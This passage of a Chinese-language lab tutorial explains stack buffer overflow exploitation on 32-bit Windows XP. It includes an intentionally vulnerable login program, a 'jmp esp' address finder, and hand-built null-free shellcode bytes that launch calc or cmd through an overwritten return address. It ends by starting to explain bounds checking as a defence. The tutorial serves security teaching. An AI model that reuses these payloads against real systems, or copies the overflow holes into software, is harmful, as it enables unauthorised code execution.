; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n    for (int i = 0 ; i < 1 ; i ++ );\n}\nvoid PutsRight() {\n    system("cmd");\n    system("pause");\n    exit(0);\n}\nint check() {\n    char name[6]={0};\n    char password[6]={0};\n    puts("Please input your Username:");\n    scanf("%s", name);\n    puts("please input your password:");\n    scanf("%s",password);\n    if((!(strcmp(name,"admin")))&&(!(strcmp(password,"admin")))){\n        puts("Success to login!");\n        PutsRight();\n    }\n    else{\n        puts("Sorry,input error");\n    }\n    return 0;\n}\nint main() {\n    check();\n    getchar();\n    return 0;\n}<\/code><\/pre>\n
    \u4e3a\u4e86\u65b9\u4fbf\u5b9e\u9a8c\uff0c\u4f7f\u6211\u4eec\u8f93\u5165\u7684\u65f6\u5019\u8986\u76d6\u7684\u51fd\u6570\u5730\u5740\u4e3a\u53ef\u89c6\u5b57\u7b26\uff0c\u6211\u4eec\u4f7f\u7528\u4e86\u4e00\u5806\u5783\u573e\u8bed\u53e5\u6765\u5806\u53e0\u5730\u5740\uff0c\u5c06\u76ee\u6807\u51fd\u6570\u63a8\u5230\u6307\u5b9a\u5730\u5740<\/p>\n
    \u9996\u5148\u89c2\u5bdf\u8be5\u7a0b\u5e8f\u6211\u4eec\u53ef\u4ee5\u53d1\u73b0\uff0c\u8be5\u7a0b\u5e8f\u6a21\u62df\u4e86\u4e00\u4e2a\u767b\u9646\u5730\u5740\uff0c\u5f53\u767b\u9646\u6210\u529f\u4e4b\u540e\uff0c\u5c06\u4f1a\u8fd4\u56de\u4e00\u4e2ashell\u4f7f\u64cd\u4f5c\u4eba\u5458\u53ef\u4ee5\u64cd\u4f5c
    \n
    \"file\"<\/div><\/p>\n
    \u90a3\u4e48\u95ee\u9898\u6765\u4e86<\/p>\n
    \u5982\u4f55\u5728\u6211\u4eec\u4e0d\u77e5\u9053\u5bc6\u7801\u7684\u60c5\u51b5\u4e0b\u8fdb\u884c\u653b\u51fb\u5462,\u8fd9\u91cc\u4e3a\u4e86\u65b9\u4fbf\u6f14\u793a\uff0c\u6211\u4eec\u76f4\u63a5\u4f7f\u7528ida\u67e5\u770b\u7f13\u51b2\u533a\u5927\u5c0f<\/p>\n
    \"file\"<\/div><\/p>\n
    \u901a\u8fc7ida\u7684\u6808\u67e5\u770b\u7a97\u53e3\uff0c\u6211\u4eec\u53ef\u4ee5\u53d1\u73b0\u6211\u4eec\u5982\u679c\u4f7f\u7528password\u8fd9\u4e2a\u6ea2\u51fa\u70b9\u8fdb\u884c\u6ea2\u51fa\u6211\u4eec\u9700\u8981\u8986\u76d60x14+4\u4e2a\u5b57\u8282\u7136\u540e\u52a0\u4e0a\u81ea\u5df1\u7684\u8fd4\u56de\u5730\u5740\u65e2\u53ef\u4ee5\u6210\u529f\u7684\u6ea2\u51fa\u7a0b\u5e8f\u3002<\/p>\n
    \u7136\u540e\u77e5\u9053\u7f13\u5b58\u533a\u7684\u5927\u5c0f\u4e4b\u540e\uff0c\u6211\u4eec\u9700\u8981\u786e\u5b9a\u4e00\u4e0b\u76ee\u6807\u51fd\u6570\u5730\u5740\uff0c\u540c\u6837\u4f7f\u7528ida\u67e5\u770b<\/p>\n
    \"file\"<\/div><\/p>\n
    \u53ef\u4ee5\u770b\u5230\u6211\u4eec\u7684\u76ee\u6807\u51fd\u6570\u5730\u5740\u662f0X40216C\u7136\u540e\u6839\u636e\u5c0f\u7aef\u5e8f\u663e\u793a(\u9ad8\u4f4d\u9ad8\u5730\u5740,\u4f4e\u4f4d\u4f4e\u5730\u5740)\u7684\u89c4\u5219,0x40\u5c5e\u4e8e\u9ad8\u5730\u5740,\u53c8\u7531\u7a0b\u5e8f\u4e0b\u65b9\u662f\u9ad8\u5730\u5740\uff0c\u90a3\u4e48\u6211\u4eec\u7684\u8f93\u5165\u56e0\u8be5\u662f0x6c 0x21 0x40\uff0c\u5bf9\u5e94l!@<\/p>\n
    \u56e0\u6b64\u6211\u4eec\u4e4b\u524d\u63d0\u5230\u7684\u7f13\u51b2\u533a\u5927\u5c0f\u4e3a0x14\uff0c\u7136\u540e\u8fd4\u56de\u5730\u5740\u9700\u8981+4\u56e0\u6b64\u6211\u4eec\u53ef\u4ee5\u5728\u8f93\u5165password\u7684\u65f6\u5019\u6784\u9020\u8f93\u5165123456789112345678911234\u6765\u586b\u5145\u7f13\u51b2\u533a\uff0c\u7d27\u63a5\u7740\u8f93\u5165l!@\u6765\u83b7\u53d6shell<\/p>\n
    \"file\"<\/div><\/p>\n
    \u53ef\u4ee5\u770b\u5230\u867d\u7136\u663e\u793a\u8f93\u5165\u9519\u8bef,\u4f46\u662f\u6211\u4eec\u4ecd\u7136\u62ff\u5230\u4e86\u7a0b\u5e8f\u7684shell\uff0c\u610f\u5473\u7740\u6211\u4eec\u5165\u4fb5\u6210\u529f\u6b64\u65f6\u53ef\u4ee5\u5f39\u4e2a\u8ba1\u7b97\u5668\u770b\u770b<\/p>\n
    \"file\"<\/div><\/p>\n
    shell\u6ca1\u6709\u4efb\u4f55\u95ee\u9898\u3002<\/p>\n
    \u901a\u8fc7\u7f13\u51b2\u533a\u6ea2\u51fa\u6f0f\u6d1e\u690d\u5165shellcode\u5bf9\u7a0b\u5e8f\u8fdb\u884c\u653b\u51fb<\/h3>\n
    \u5b9e\u9a8c\u73af\u5883<\/h4>\n
    Windows XP professional 32\u4f4d
    \nVC++ 6.0
    \nIDA pro<\/p>\n
    \u5b9e\u9a8c\u5185\u5bb9<\/h4>\n
    \u5229\u7528\u7f13\u51b2\u533a\u6ea2\u51fa\u6f0f\u6d1e\u8986\u76d6\u51fd\u6570\u8fd4\u56de\u5730\u5740\uff0cjmp esp\u8df3\u8f6c\u5230\u6211\u4eecshellcode\u4f4d\u7f6e\u6267\u884cshellcode\uff0cshellcode\u5185\u5bb9\u4e3a\u5f39\u51fa\u8ba1\u7b97\u5668<\/p>\n
    \u5b9e\u9a8c\u6b65\u9aa4<\/h4>\n
    esp\u5229\u7528<\/h5>\n
    \u9996\u5148\uff0c\u6709\u4e86\u76ee\u6807\u6211\u4eec\u5f00\u59cb\u8fdb\u884c\u5b9e\u9a8c\u7684\u6784\u601d\uff0c\u6211\u4eec\u4e00\u5f00\u59cb\u77e5\u9053\u4e86\u5982\u4f55\u4f7f\u7528\u4f7f\u7528\u7f13\u51b2\u533a\u6ea2\u51fa\u6f0f\u6d1e\u586b\u6ee1\u7f13\u51b2\u533a\u8986\u76d6\u6389ebp\u4ee5\u53ca\u7a0b\u5e8f\u7684\u8fd4\u56de\u5730\u5740\uff0c\u53ef\u662f\u8fd9\u4e2a\u8fd4\u56de\u5730\u5740\u5982\u4f55\u624d\u80fd\u6307\u5411\u6211\u4eec\u7684shellcode\u5462\uff1f<\/p>\n
    \u663e\u7136\u6211\u4eec\u6ca1\u6709\u529e\u6cd5\u76f4\u63a5\u6784\u9020\u4e00\u4e2a\u5730\u5740\uff0c\u6307\u5411\u6211\u4eec\u7684shellcode\uff0c\u56e0\u6b64\u6211\u4eec\u8fd9\u91cc\u4ecb\u7ecd\u4e00\u4e2a\u5de7\u5999\u5730\u529e\u6cd5<\/p>\n
    \u6211\u4eec\u8fd0\u884c\u4e00\u4e2a\u6b63\u5e38\u7a0b\u5e8f\uff0c\u4f7f\u7528IDA\u67e5\u770b\u5f53\u6211\u4eec\u8fd0\u884c\u5230ret\u7684\u65f6\u5019esp\u5bc4\u5b58\u5668\u6240\u6307\u5411\u7684\u503c<\/p>\n
    \"file\"<\/div><\/p>\n
    \"file\"<\/div><\/p>\n
    \"file\"<\/div><\/p>\n
    \u53ef\u4ee5\u53d1\u73b0\u6b64\u65f6\u8fd0\u884c\u5230\u4e86ret\u4f4d\u7f6e\u540e\uff0cesp\u5bc4\u5b58\u5668\u5b58\u50a8\u7684\u503c\u8fd8\u662f\u7a0b\u5e8f\u7684\u8fd4\u56de\u5730\u5740\uff0c\u4f46\u662f\u5f53\u6211\u4eec\u518d\u4e0b\u4e00\u6b65\u8fdb\u884c\u7684\u65f6\u5019\u4f1a\u53d1\u751f\u4ec0\u4e48\u5462\u3002<\/p>\n
    \"file\"<\/div><\/p>\n
    \u6211\u4eec\u53d1\u73b0esp\u7684\u503c\u53d8\u6210\u4e86\u4e4b\u524d\u7684\u5730\u65b9\u52a04\u4e5f\u5c31\u76f8\u5f53\u4e8e\u662f\u79fb\u52a8\u5230\u4e86\u4e00\u4e0b\u4f4d\u7f6e\uff0c\u90a3\u4e48\u6211\u4eec\u53ef\u4ee5\u53d1\u73b0\uff0c\u4e0d\u7ba1\u5982\u4f55esp\u7684\u5730\u5740\u90fd\u4f1a\u5f80\u4e0b+4<\/p>\n
    \u90a3\u4e48\u6211\u4eec\u5c31\u53ef\u4ee5\u8ba9\u8fd4\u56de\u5730\u5740\u8fd4\u56de\u5230\u4e00\u4e2a\u5e26\u6709jmp esp\u547d\u4ee4\u7684\u5730\u5740\uff0c\u7136\u540e\u4f7f\u5f97\u7a0b\u5e8f\u6267\u884cjmp esp\u3002\u4ece\u800c\u8ba9\u6211\u4eec\u5b9e\u73b0\u6267\u884cesp+4\u7684\u5185\u5bb9<\/p>\n
    \u56e0\u6b64\u6211\u4eec\u586b\u5165\u7684shellcode\u53ea\u8981\u6ea2\u51fa\u5230esp+4\u7684\u5730\u5740\uff0c\u4fbf\u53ef\u4ee5\u4f7f\u5f97\u7a0b\u5e8f\u6267\u884c\u6211\u4eec\u7684shellcode\u5b8c\u6210\u5bf9\u7a0b\u5e8f\u6f0f\u6d1e\u7684\u5229\u7528\u3002<\/p>\n
    jmp esp\u4ee3\u7801\u5982\u4f55\u6784\u9020\u5462?
    \n\u4e3a\u4e86\u5b9e\u9a8c\u5185\u5bb9\u7684\u7b80\u5355\u6027\uff0c\u6211\u4eec\u8ba9\u6211\u4eec\u7684\u6e90\u4ee3\u7801\u52a0\u8f7d\u4e00\u4e2a\u53eb\u505auser32\u7684\u52a8\u6001\u94fe\u63a5\u5e93\uff0c\u7136\u540e\u6211\u4eec\u4f7f\u7528\u5982\u4e0b\u4ee3\u7801\u6765\u67e5\u8be2user32.dll\u4e2d\u5b58\u5728\u7684jmp esp \u6307\u4ee4\u7684\u4f4d\u7f6e<\/p>\n
    #include <windows.h>\n#include <stdio.h>\n#include <stdlib.h>\n\nint main(){\n    BYTE *ptr;\n    int position;\n    HINSTANCE handle;\n    BOOL done_flag = FALSE;\n    handle = LoadLibrary("user32.dll");\n    if(!handle){ \/\/ \u5982\u679c\u53e5\u67c4\u83b7\u53d6\u5931\u8d25\n        printf("Load DLL error!\\n");\n        exit(0); \/\/ \u9000\u51fa\u7a0b\u5e8f\n    }\n    ptr = (BYTE*)handle; \/\/ \u5f3a\u5236\u8f6c\u6362\u6210 BYTE \u7c7b\u578b\u7684\u6307\u9488\n\n    for(position=0; !done_flag; position++){ \/\/ \u7ec6\u54c1\n        try{\n            if(ptr[position]==0xFF && ptr[position+1]==0xE4){\n                int address = (int)ptr + position;\n                printf("OPCODE found at 0x%x\\n", address);\n            }\n        }catch(...){\n            int address = (int)ptr + position;\n            printf("END OF 0x%x\\n", address);\n            done_flag = true;\n        }\n    }\n    getchar();\n    return 0;\n}<\/code><\/pre>\n
    \u8fd0\u884c\u5b8c\u6210\u540e\u6211\u4eec\u5f97\u5230\u5982\u4e0b\u8f93\u51fa<\/p>\n
    \"file\"<\/div><\/p>\n
    \u968f\u610f\u9009\u53d6\u4e00\u6761\uff0c\u4f5c\u4e3a\u6211\u4eec\u5229\u7528\u7684\u5730\u5740,\u8fd9\u91cc\u6211\u4eec\u9009\u62e9\u6700\u540e\u4e00\u67610x77e35b79\uff0cy\u56e0\u6b64\u6211\u4eec\u53ea\u9700\u8981\u5c06\u8be5\u5730\u5740\u8986\u76d6\u6389\u51fd\u6570\u539f\u672c\u7684\u8fd4\u56de\u5730\u5740\u5c31\u53ef\u4ee5\u6210\u529f\u7684\u6267\u884c\u6211\u4eec\u6784\u9020\u7684shellcode\u4e86\u3002<\/p>\n
    shellcode\u7f16\u5199<\/h5>\n
    shellcode\u7684\u7f16\u5199\u9700\u8981\u5b66\u4f1a\u4f7f\u7528\u6c47\u7f16\u8bed\u8a00\uff0c\u6211\u4eec\u8fd9\u91cc\u91c7\u7528\u7684\u65b9\u5f0f\u5c31\u662f\u4f7f\u7528VC++6.0\u7f16\u8bd1\u5668\u4e2d\u7684\u5185\u8054\u6c47\u7f16\u7684\u4e00\u4e2a\u529f\u80fd–_asm{}\u5199\u6cd5\u6765\u5728\u6211\u4eec\u7684C\u7a0b\u5e8f\u4e2d\u690d\u5165\u6c47\u7f16\u8bed\u8a00<\/p>\n
    \u9996\u5148\u4e3a\u4e86\u65b9\u4fbf\u5b9e\u9a8c\uff0c\u6211\u4eec\u8fd9\u91cc\u4f7f\u7528printf("%X",&system);\u8bed\u53e5\u6765\u9996\u5148\u8f93\u51fa\u4e00\u4e2asystem\u7684\u5730\u5740<\/p>\n
    \"file\"<\/div><\/p>\n
    \u62ff\u5230\u5730\u5740\u540e\u6211\u4eec\u53d1\u73b0\u662f0x401110<\/p>\n
    \u90a3\u4e48\u6211\u4eec\u5c31\u53ef\u4ee5\u76f4\u63a5\u5f00\u59cb\u5199\u6c47\u7f16\u8bed\u8a00\u4e86<\/p>\n
    #include<stdio.h>\n#include<windows.h>\nint main() {\n    printf("%x", &system);\n    _asm{\n        sub esp, 0x50 \/\/\u63d0\u5347\u51fd\u6570\u6808\u7a7a\u95f4\n        xor ebx, ebx \/\/\u6e05\u7a7aebx\u5bc4\u5b58\u5668\n\n        push ebx\n        push 0x636C6163 \/\/\u5c06calc\u6307\u4ee4\u4f5c\u4e3asystem\u7684\u53c2\u6570\u5165\u6808\n        mov eax, esp \/\/\u7531\u4e8e\u76f4\u63a5push\u8fdb\u5165\u7684\u53c2\u6570\u4f1a\u5b58\u50a8\u5728esp\u5bc4\u5b58\u5668\u4e2d\u6240\u4ee5\u6211\u4eec\u76f4\u63a5mov esp\u7ed9eax\n        push eax \u53c2\u6570\u5165\u6808\n        mov eax, 0x401110 \/\/\u8c03\u7528sytem\n        call eax\n        mov eax, 0x7c81bfa2 \/\/\u6b64\u5904\u4e0d\u91cd\u8981,\u662f\u6211\u4eec\u4e3a\u4e86\u8ba9\u7a0b\u5e8f\u6b63\u5e38\u9000\u51fa\u6240\u4ee5\u8c03\u7528\u4e86Exitprocess\u7684\u5730\u5740\n        push ebx\/\/\u7ed9Existprocess\u4f20\u53c2\n        call eax\n    }\n    return 0;\n}\n<\/code><\/pre>\n
    \u6c47\u7f16\u8bed\u8a00\u7f16\u5199\u5b8c\u6bd5,\u6211\u4eec\u8fd0\u884c\u4e00\u4e0b<\/p>\n
    \"file\"<\/div><\/p>\n
    \u6210\u529f\u5f39\u51fa\u8ba1\u7b97\u5668\u3002<\/p>\n
    \u6211\u4eec\u9996\u5148\u4e0b\u597d\u65ad\u70b9\u7136\u540e\u6253\u5f00VC++6.0\u7684\u7a0b\u5e8f\u8c03\u8bd5\u529f\u80fd\u5f00\u59cb\u8c03\u8bd5\u7a0b\u5e8f
    \n\u7136\u540e\u6309\u5982\u4e0b\u64cd\u4f5c\u70b9\u51fbDisassembly\u7a97\u53e3\u67e5\u770b\u673a\u5668\u7801<\/p>\n
    \"file\"<\/div><\/p>\n
    \u83b7\u5f97\u6c47\u7f16\u7a97\u53e3\u4e4b\u540e,\u6211\u4eec\u53f3\u952e\u7a97\u53e3\u7684\u7a7a\u767d\u5904\uff0c\u70b9\u51fbcode bytes\u663e\u793a\u51fa\u7a0b\u5e8f\u7684\u673a\u5668\u7801\uff0c\u5c31\u80fd\u62ff\u5230\u6211\u4eec\u7684shellcode\u4ee3\u7801\u4e86<\/p>\n
    \"file\"<\/div><\/p>\n
    \u4f46\u662f\u6211\u4eec\u53d1\u73b0\u572833\u884c\u5904,\u6211\u4eec\u7531\u4e8e\u6211\u4eec\u7684system\u7684\u5730\u5740\u662f\u4e09\u4e2a\u5b57\u8282\uff0c\u4f46\u662f\u7cfb\u7edf\u9ed8\u8ba4\u662f\u56db\u4e2a\u5b57\u8282\uff0c\u56e0\u6b64\u7a0b\u5e8f\u4f1a\u5728\u9ad8\u4f4d\u88650\uff0c\u7a0b\u5e8f\u8865\u5b8c\u8fd9\u4e2a0\u540e\uff0c\u6211\u4eec\u6267\u884c\u6c47\u7f16\u4ee3\u7801\u4e0d\u4f1a\u51fa\u73b0\u4efb\u4f55\u95ee\u9898\uff0c\u4f46\u662f\u7531\u4e8e\u6211\u4eec\u7a0b\u5e8f\u51c6\u5907\u4f7f\u7528strcpy\u8fdb\u884c\u4e00\u4e2a\u6ea2\u51fa \u5f53\u7a0b\u5e8f\u5b58\u5728\u8fd9\u4e2a0\u5c31\u4f1a\u5bfc\u81f4strcpy\u88ab\u622a\u65ad\uff0c\u56e0\u6b64\u6211\u8fd9\u91cc\u60f3\u4e86\u4e00\u4e2a\u5de7\u5999\u5730\u529e\u6cd5\u6765\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898<\/p>\n
    _asm{\n        sub esp,0x50\n        xor ebx,ebx\n\n        push ebx\n        push 0x636C6163\n        mov eax,esp\n        push eax\n        mov eax,0x1111111\n        xor eax,0x15101e1\n        call eax\n        mov eax,0x7c81bfa2\n        push ebx\n        call eax\n    }<\/code><\/pre>\n
    \u5bf9\u6ca1\u9519\u5c31\u662f\u8ba9 0x1111111\u5148\u8d4b\u503c\u7ed9eax\uff0c\u7136\u540e\u8ba9eax\u5f02\u6216\u4e00\u4e2a0x15101e1\u8fd9\u6837\u5c31\u6210\u529f\u5730\u907f\u514d\u4e86\u6211\u4eec\u673a\u5668\u7801\u4e2d\u51fa\u73b0\u4e8600\u7684\u95ee\u9898<\/p>\n
    \u7136\u540e\u6211\u4eec\u628a\u8be5\u6c47\u7f16\u6bb5\u7684\u673a\u5668\u7801\u6284\u4e0b\u6765<\/p>\n
    char name[] = "\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41" \/\/\u7528\u4e8e\u8986\u76d6EBP\u524d\u9762\u76848\u4e2a\u5b57\u8282\u7684\u7a7a\u95f4\n        "\\x41\\x41\\x41\\x41"     \/\/\u8986\u76d6EBP\n        "\\x79\\x5b\\xe3\\x77"     \/\/\u8fd4\u56de\u5730\u5740\n        "\\x83\\xEC\\x50"         \/\/\u6ce8\u610f\uff1a\u6211\u4eec\u5728\u6b64\u6267\u884c\u8be5\u6307\u4ee4\uff0c\u76ee\u7684\u662f\u5c06\u6808\u9488\u62ac\u9ad8\n        "\\x33\\xDB"             \/\/\u7528\u5f02\u6216\u64cd\u4f5c\u5c06ebx\u5bc4\u5b58\u5668\u4e2d\u7684\u503c\u6e05\u96f6\n        "\\x53" \n        "\\x68\\x63\\x61\\x6C\\x63"\/\/ push 0x636C6163 \u4e5f\u5c31\u662fcalc\u5b57\u7b26\u4e32\n        "\\x8B\\xC4\\x50"\n        "\\xB8\\x22\\x22\\x11\\x01"\n        "\\x35\\x32\\x33\\x51\\x01"\n        "\\xFF\\xD0"\n        "\\xB8\\xA2\\xBF\\x81\\x7C"\n        "\\x53"\n        "\\xFF\\xD0"\n        ;\n<\/code><\/pre>\n
    \u8fd9\u91cc\u53ea\u9700\u8981\u6ce8\u610f\u4e00\u4e0b\u5c0f\u7aef\u5e8f\u5c31\u884c\u4e86\uff0c\u5f53\u7136\u8fd8\u6709\u9700\u8981\u6ce8\u610f\u7684\u5730\u65b9\u5c31\u662f\u5982\u679c\u51fd\u6570\u51fa\u73b0\u4e86\u591a\u4e2a\u53c2\u6570\u90a3\u4e48\u6211\u4eec\u9700\u8981\u505a\u7684\u5c31\u662f\u5c06\u53c2\u6570\u4ece\u53f3\u81f3\u5de6\u8fdb\u884c\u4e00\u4e2a\u5165\u6808\u64cd\u4f5c<\/p>\n
    \u63a5\u4e0b\u6765\u770b\u5230\u6211\u4eec\u7684\u5b9e\u9a8c\u7a0b\u5e8f<\/p>\n
    #include "stdio.h"\n#include "string.h"\n#include "windows.h"\nchar name[] = "\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41" \/\/\u7528\u4e8e\u8986\u76d6EBP\u524d\u9762\u768412\u4e2a\u5b57\u8282\u7684\u7a7a\u95f4\n        "\\x41\\x41\\x41\\x41"     \/\/\u8986\u76d6EBP\n        "\\x79\\x5b\\xe3\\x77"     \/\/\u8fd4\u56de\u5730\u5740\n        "\\x83\\xEC\\x50"         \/\/\u6ce8\u610f\uff1a\u6211\u4eec\u5728\u6b64\u6267\u884c\u8be5\u6307\u4ee4\uff0c\u76ee\u7684\u662f\u5c06\u6808\u9488\u62ac\u9ad8\n        "\\x33\\xDB"             \/\/\u7528\u5f02\u6216\u64cd\u4f5c\u5c06ebx\u5bc4\u5b58\u5668\u4e2d\u7684\u503c\u6e05\u96f6\n        "\\x53"                 \/\/\u6211\u4eec\u8fd9\u91cc\u5c06 0 \u538b\u5165\u6808\u4e2d\uff0c\u76ee\u7684\u662f\u544a\u8bc9\u7cfb\u7edf\uff1a\u5b57\u7b26\u4e32\u5230\u8fd9\u91cc\u5c31\u5df2\u7ecf\u622a\u6b62\u4e86\n        "\\x68\\x63\\x61\\x6C\\x63"\/\/ push 0x636C6163 \u4e5f\u5c31\u662fcalc\u5b57\u7b26\u4e32\n        "\\x8B\\xC4\\x50" \/\/\u5b57\u7b26\u4e32\u6307\u9488\u5730\u5740 \u4e5f\u5c31\u662fcalc\u5f53\u524desp \u7684\u5730\u5740\n        "\\xB8\\x22\\x22\\x11\\x01"\n        "\\x35\\x32\\x33\\x51\\x01"\n        "\\xFF\\xD0"\n        "\\xB8\\xA2\\xBF\\x81\\x7C"\n        "\\x53"\n        "\\xFF\\xD0"\n        ;\nint main(){\n\n    char buffer[8];\n    printf("%X\\n",&system);\n\n    LoadLibrary("user32.dll"); \n    strcpy(buffer,name);\n    printf("%s\\n",buffer);\n    getchar();\n    return 0;\n\n\/*\n    printf("%x",&system);\n    _asm{\n        sub esp,0x50\n        xor ebx,ebx\n\n        push ebx\n        push 0x636C6163\n        mov eax,esp\n        push eax\n        mov eax,0x1111111\n        xor eax,0x15101e1\n        call eax\n        mov eax,0x7c81bfa2\n        push ebx\n        call eax\n    }\n    return 0;\n*\/\n}\n<\/code><\/pre>\n
    \u8fd0\u884c\u4e4b\u540e\u56de\u8f66
    \n
    \"file\"<\/div><\/p>\n
    \u540c\u7406\u6211\u4eec\u4e5f\u53ef\u4ee5\u628acalc\u547d\u4ee4\u6362\u4e3acmd\u547d\u4ee4\u6765\u83b7\u53d6shell\uff0c\u4f46\u662f\u56e0\u4e3acmd\u53ea\u6709\u4e09\u4e2a\u5b57\u7b26\uff0c\u4f46\u662f\u7531\u4e8e\u8fd9\u4e2a\u53c2\u6570\u662f\u7cfb\u7edf\u547d\u4ee4\u53ef\u4ee5\u5b58\u5728\u7a7a\u683c\uff0c\u6240\u4ee5\u6211\u4eec\u5e76\u4e0d\u9700\u8981\u4f7f\u7528\u4e0a\u9762\u7684\u5f02\u6216\u64cd\u4f5c\u6765\u4f7f\u5f97shellcode\u4e2d\u4e0d\u51fa\u73b00\u7684\u673a\u5668\u7801\uff0c\u6211\u4eec\u53ea\u9700\u8981\u8bb2\u9ad8\u4f4d\u75280x20\u7a7a\u683c\u6765\u586b\u5145\u5c31\u53ef\u4ee5\u4e86<\/p>\n
    \u5b9e\u9a8c\u4ee3\u7801\u5982\u4e0b\uff1a<\/p>\n
    #include "stdio.h"\n#include "string.h"\n#include "windows.h"\nchar name[] = "\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41" \/\/\u7528\u4e8e\u8986\u76d6EBP\u524d\u9762\u768412\u4e2a\u5b57\u8282\u7684\u7a7a\u95f4\n        "\\x41\\x41\\x41\\x41"     \/\/\u8986\u76d6EBP\n        "\\x79\\x5b\\xe3\\x77"     \/\/\u8fd4\u56de\u5730\u5740\n        "\\x83\\xEC\\x50"         \/\/\u6ce8\u610f\uff1a\u6211\u4eec\u5728\u6b64\u6267\u884c\u8be5\u6307\u4ee4\uff0c\u76ee\u7684\u662f\u5c06\u6808\u9488\u62ac\u9ad8\n        "\\x33\\xDB"             \/\/\u7528\u5f02\u6216\u64cd\u4f5c\u5c06ebx\u5bc4\u5b58\u5668\u4e2d\u7684\u503c\u6e05\u96f6\n        "\\x53"                 \/\/\u6211\u4eec\u8fd9\u91cc\u5c06 0 \u538b\u5165\u6808\u4e2d\uff0c\u76ee\u7684\u662f\u544a\u8bc9\u7cfb\u7edf\uff1a\u5b57\u7b26\u4e32\u5230\u8fd9\u91cc\u5c31\u5df2\u7ecf\u622a\u6b62\u4e86\n        "\\x68\\x63\\x6d\\x64\\x20"\/\/ push 0x636C6163 \u4e5f\u5c31\u662fcalc\u5b57\u7b26\u4e32\n        "\\x8B\\xC4\\x50" \/\/\u5b57\u7b26\u4e32\u6307\u9488\u5730\u5740 \u4e5f\u5c31\u662fcalc\u5f53\u524desp \u7684\u5730\u5740\n        "\\xB8\\x22\\x22\\x11\\x01"\n        "\\x35\\x32\\x33\\x51\\x01"\n        "\\xFF\\xD0"\n        "\\xB8\\xA2\\xBF\\x81\\x7C"\n        "\\x53"\n        "\\xFF\\xD0"\n        ;\nint main(){\n\n    char buffer[8];\n    printf("%X\\n",&system);\n\n    LoadLibrary("user32.dll"); \n    strcpy(buffer,name);\n    printf("%s\\n",buffer);\n    getchar();\n    return 0;\n\n    \/*\n\n    printf("%x",&system);\n    _asm{\n        sub esp,0x50\n        xor ebx,ebx\n\n        push ebx\n        push 0x646d6320\n        mov eax,esp\n        push eax\n        mov eax,0x1112222\n        xor eax,0x1513332\n        call eax\n        mov eax,0x7c81bfa2\n        push ebx\n        call eax\n    }\n    return 0;\n    *\/\n}\n<\/code><\/pre>\n
    \u8fd0\u884c\u6548\u679c\u5982\u4e0b\uff1a
    \n
    \"file\"<\/div><\/p>\n
    \u7f13\u51b2\u533a\u6ea2\u51fa\u7684\u4fdd\u62a4\u624b\u6bb5<\/h2>\n
    \u4e3a\u4e86\u4fdd\u62a4\u7cfb\u7edf\u514d\u53d7\u7f13\u51b2\u533a\u6ea2\u51fa\u653b\u51fb\uff0c\u53ef\u4ee5\u91c7\u53d6\u4ee5\u4e0b\u4e00\u4e9b\u624b\u6bb5\uff1a<\/p>\n
    1.\u8fb9\u754c\u68c0\u67e5<\/h3>\n
    \u5728\u4ee3\u7801\u4e2d\u663e\u5f0f\u5730\u68c0\u67e5\u8f93\u5165\u6570\u636e\u7684\u957f\u5ea6\uff0c\u786e\u4fdd\u5b83\u4e0d\u4f1a\u8d85\u8fc7\u7f13\u51b2\u533a\u7684\u5927\u5c0f\u3002\u4f8b\u5982\uff0c\u5728\u4f7f\u7528\u7c7b\u4f3c strcpy \u548c memcpy \u7b49\u51fd\u6570\u65f6\uff0c\u5e94\u4f7f\u7528\u5e26\u6709\u957f\u5ea6\u53c2\u6570\u7684\u5b89\u5168\u7248\u672c\u51fd\u6570\uff08\u5982 strncpy \u548c memcpy_s\uff09\uff0c\u4ee5\u786e\u4fdd\u4e0d\u4f1a\u53d1\u751f\u6ea2\u51fa\u3002<\/p>\n
    \u793a\u4f8b\u4ee3\u7801(\u4e0d\u5b89\u5168\u7248\u672c)<\/p>\n
    void unsafe_function(char* source) {\n    char buffer[10];\n    strcpy(buffer, source); \/\/ \u6ca1\u6709\u8fb9\u754c\u68c0\u67e5\uff0c\u53ef\u80fd\u5bfc\u81f4\u7f13\u51b2\u533a\u6ea2\u51fa\n}\n<\/code><\/pre>\n
